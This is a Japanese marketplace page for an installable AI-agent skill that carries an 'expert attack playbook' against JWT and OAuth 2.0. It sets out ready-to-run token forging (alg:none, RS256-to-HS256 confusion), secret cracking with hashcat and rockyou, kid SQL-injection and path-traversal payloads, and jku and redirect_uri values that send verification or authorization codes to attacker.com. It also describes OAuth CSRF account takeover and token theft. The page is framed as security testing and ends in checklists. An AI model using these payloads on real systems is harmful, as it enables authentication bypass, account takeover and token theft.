mcpField
J
jwt-oauth-token-attacks

jwt-oauth-token-attacks

github.com/yaklangセキュリティ2.6k3.8k 回インストール6 週間前に更新
リポジトリ

jwt-oauth-token-attacks について

JWTの暗号処理とOAuth 2.0のトークンフローを検証するセキュリティスキルです。トークン処理、認可フロー、漏えいの確認に加え、関連するOAuth、CORS、SAMLの項目も案内します。

主な機能

  1. 01JWTアルゴリズムと鍵への攻撃検査
  2. 02OAuthフローとPKCEの確認
  3. 03リダイレクトとスコープのテスト
  4. 04トークン漏えい経路
  5. 05関連セキュリティスキルへの案内

活用シーン

  1. 01JWT検証の監査
  2. 02OAuthログインとリダイレクトのテスト
  3. 03URLやログでのトークン露出の確認

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/yaklang/hack-skills --skill jwt-oauth-token-attacks

インストール後、Claude Code で/jwt-oauth-token-attacksを入力して読み込まれたか確認します。

詳細

スキル:JWT と OAuth 2.0 のトークン攻撃 — エキスパート向け攻撃プレイブック

AI LOAD INSTRUCTION:認証トークンに対するエキスパート向け攻撃です。JWT の暗号攻撃(alg:none、RS256→HS256、シークレットのクラック、kid/jku インジェクション)、OAuth フロー攻撃(CSRF、オープンリダイレクト、トークン窃取、インプリシットフローの悪用)、PKCE のバイパス、Referer/ログ経由のトークン漏えいを扱います。最新のウェブアプリケーションでは、特に重要です。

0. 関連するルーティング

トークンを中心とした攻撃やフローの悪用には、このファイルを使用してください。以下も読み込んでください。


1. JWT の構造

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMzQsInJvbGUiOiJ1c2VyIn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
└─────────────────────┘ └────────────────────────────┘ └──────────────────────────────────────────┘
         HEADER                     PAYLOAD                           SIGNATURE

ターミナルでデコードする:

echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
# → {"alg":"HS256","typ":"JWT"}

echo "eyJ1c2VySWQiOjEyMzQsInJvbGUiOiJ1c2VyIn0" | base64 -d
# → {"userId":1234,"role":"user"}

一般的なクレームの標的(権限昇格のために変更):

{
  "role": "admin",
  "isAdmin": true,
  "userId": OTHER_USER_ID,
  "email": "[email protected]",
  "sub": "admin",
  "permissions": ["admin", "write", "delete"],
  "tier": "premium"
}

2. 攻撃 1 — アルゴリズム NONE(alg:none)

アルゴリズムが「none」/「None」/「NONE」の場合、サーバーが署名を検証しません。

# Burp JWT Editor / python-jwt attack:
# Step 1: Decode header
echo '{"alg":"HS256","typ":"JWT"}' | base64 → old_header

# Step 2: Create new header
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '/+' '_-'

# Step 3: Modify payload (e.g., role → admin):
echo -n '{"userId":1234,"role":"admin"}' | base64 | tr -d '=' | tr '/+' '_-'

# Step 4: Construct token with empty signature:
HEADER.PAYLOAD.
# OR:
HEADER.PAYLOAD

ツール(jwt_tool):

python3 jwt_tool.py JWT_TOKEN -X a
# → automatically generates alg:none variants

3. 攻撃 2 — RS256 から HS256 への鍵の混同

サーバーが RS256 を使用している場合(非対称方式 — RSA 秘密鍵で署名し、公開鍵で検証):

  • サーバーの公開鍵は、多くの場合、見つけることができます(JWKS エンドポイント、/certs、ソースコード)
  • 攻撃:「これは HS256 だ」とサーバーに伝える → サーバーは公開鍵をシークレットとして使用して HS256 HMAC を検証する
# Step 1: Obtain public key (PEM format)
# From: /api/.well-known/jwks.json → convert to PEM
# From: /certs endpoint
# From: OpenSSL extraction from HTTPS cert

# Step 2: Use jwt_tool to sign with HS256 using public key as secret:
python3 jwt_tool.py JWT_TOKEN -X k -pk public_key.pem

# Step 3: Manually:
# Modify header: {"alg":"HS256","typ":"JWT"}
# Sign entire header.payload with HMAC-SHA256 using PEM public key bytes

4. 攻撃 3 — JWT シークレットの総当たり攻撃

弱いシークレットを使った HMAC ベースの JWT(HS256/HS384/HS512):

# hashcat (fast):
hashcat -a 0 -m 16500 "JWT_TOKEN_HERE" /usr/share/wordlists/rockyou.txt

# john:
echo "JWT_TOKEN_HERE" > jwt.txt
john --format=HMAC-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt jwt.txt

# jwt_tool:
python3 jwt_tool.py JWT_TOKEN -C -d /path/to/wordlist.txt

手動で試す一般的な弱いシークレット:

secret, password, 123456, qwerty, changeme, your-256-bit-secret,
APP_NAME, app_name, production, jwt_secret, SECRET_KEY

5. 攻撃 4 — kid(鍵 ID)インジェクション

kid ヘッダーパラメーターは、検証に使用する鍵を指定します。サニタイズされていない場合、インジェクションが可能です。

kid SQL インジェクション
{"alg":"HS256","kid":"' UNION SELECT 'attacker_controlled_key' FROM dual--"}

バックエンドが SQL をクエリする場合:SELECT key FROM keys WHERE kid = 'INPUT'
結果:HMAC 鍵 = 'attacker_controlled_key' → この値で署名した任意のペイロードを偽造できます。

kid パストラバーサル(ファイル読み取り)
{"alg":"HS256","kid":"../../../../dev/null"}

サーバーが鍵として /dev/null を読み取る → 空文字列 → 空の HMAC でトークンに署名します。

{"alg":"HS256","kid":"../../../../etc/hostname"}

サーバーが鍵としてホスト名を読み取る → ホスト名の文字列で署名したトークンを偽造できます。


6. 攻撃 5 — jku / x5u ヘッダーインジェクション

jku は JSON Web Key Set の URL を指定します。許可リストで制限されていない場合:

{"alg":"RS256","jku":"https://attacker.com/malicious-jwks.json","kid":"my-key"}

セットアップ:

# Generate RSA key pair:
openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -pubout -out public.pem

# Create JWKS:
python3 -c "
import json, base64, struct
# ... (use python-jwcrypto or jwt_tool to export JWKS)
"

# Host malicious JWKS at attacker.com/malicious-jwks.json
# Sign JWT with attacker's private key
# Server fetches attacker's JWKS → verifies with attacker's public key → accepts

jwt_tool による自動化:

python3 jwt_tool.py JWT -X s -ju https://attacker.com/malicious-jwks.json

7. OAUTH 2.0 — STATE パラメーターの欠落(CSRF)

state パラメーターは OAuth における CSRF を防ぎます。これが欠落している場合:

Attack:
1. Click "Login with Google" → OAuth starts → intercept the redirect URL:
   https://accounts.google.com/oauth2/auth?client_id=APP_ID&redirect_uri=https://target.com/callback&state=MISSING_OR_PREDICTABLE&code=...

2. Get the authorization code (stop before exchanging it)
3. Craft URL: https://target.com/oauth/callback?code=ATTACKER_CODE
4. Victim clicks that URL → their session binds to ATTACKER's OAuth identity
→ ACCOUNT TAKEOVER

8. OAUTH — REDIRECT_URI のバイパス

認可コードは redirect_uri に送信されます。検証が不十分な場合:

redirect_uri のオープンリダイレクト
Original: redirect_uri=https://target.com/callback
Attack:   redirect_uri=https://target.com/callback/../../../attacker.com
          redirect_uri=https://attacker.com.target.com/callback
          redirect_uri=https://[email protected]/callback
パスの部分一致
Whitelist: https://target.com/callback
Attack: https://target.com/callback%2f../admin (URL path confusion)
        https://target.com/callbackXSS (prefix match only)
localhost/開発用リダイレクト
redirect_uri=http://localhost/steal
redirect_uri=urn:ietf:wg:oauth:2.0:oob  (mobile apps)

9. OAUTH — インプリシットフローでのトークン窃取

インプリシットフロー:トークンは URL フラグメント #access_token=... で送信されます。

フラグメント漏えいのシナリオ:

  • 攻撃者のページにリダイレクトする:フラグメントは document.referrer または対象ページの <script>window.location.href</script> 経由で取得できます
  • オープンリダイレクト:redirect_uri=https://target.com/open-redirect?url=https://attacker.com → フラグメント内のトークンが攻撃者のページに到達します

10. OAUTH — スコープ昇格

認可コードで認可された範囲を超えるスコープを要求します:

Authorized scope: read:profile
Attack: During token exchange, add scope=admin or scope=read:admin
→ Does server grant requested scope or issued scope?

11. トークン漏えいの経路

Referer ヘッダー

URL に含まれるトークン → ページが外部リソースを読み込む → Referer 経由でトークンが漏えいします:

https://target.com/dashboard#access_token=TOKEN
→ HTML loads: <img src="https://analytics.third-party.com/track">
→ Referer: https://target.com/dashboard#access_token=TOKEN
→ analytics.third-party.com sees token in Referer logs
サーバーログ

クエリパラメーターで送信されたアクセストークンは、以下に保存されます。

/var/log/nginx/access.log
/var/log/apache2/access.log
ELB/ALB logs (AWS)
CloudFront logs
CDN logs

12. JWT テストチェックリスト

□ Decode header + payload (base64 decode each part)
□ Identify algorithm: HS256/RS256/ES256/none
□ Modify payload fields (role, userId, isAdmin) → change signature too
□ Test alg:none → remove signature entirely
□ If RS256: find public key → attempt RS256→HS256 confusion
□ If HS256: brute force with hashcat/rockyou
□ Check kid parameter → try SQL injection + path traversal
□ Check jku/x5u header → redirect to attacker JWKS
□ Test token reuse after logout
□ Test expired token acceptance (exp claim)
□ Check for token in GET params (log leakage) vs header

13. OAUTH テストチェックリスト

□ Check for state parameter in authorization request
□ Test redirect_uri manipulation (open redirect, prefix match, path confusion)
□ Can tokens be exchanged more than once?
□ Test scope escalation during token exchange
□ Implicit flow: check for token in Referer/history
□ PKCE: can code_challenge be bypassed or code_verifier be empty?
□ Check for authorization code reuse (code must be single-use)
□ Test account linking abuse: link OAuth to existing account with same email
□ Check OAuth provider confusion: use Apple ID to link where Google expected

コメント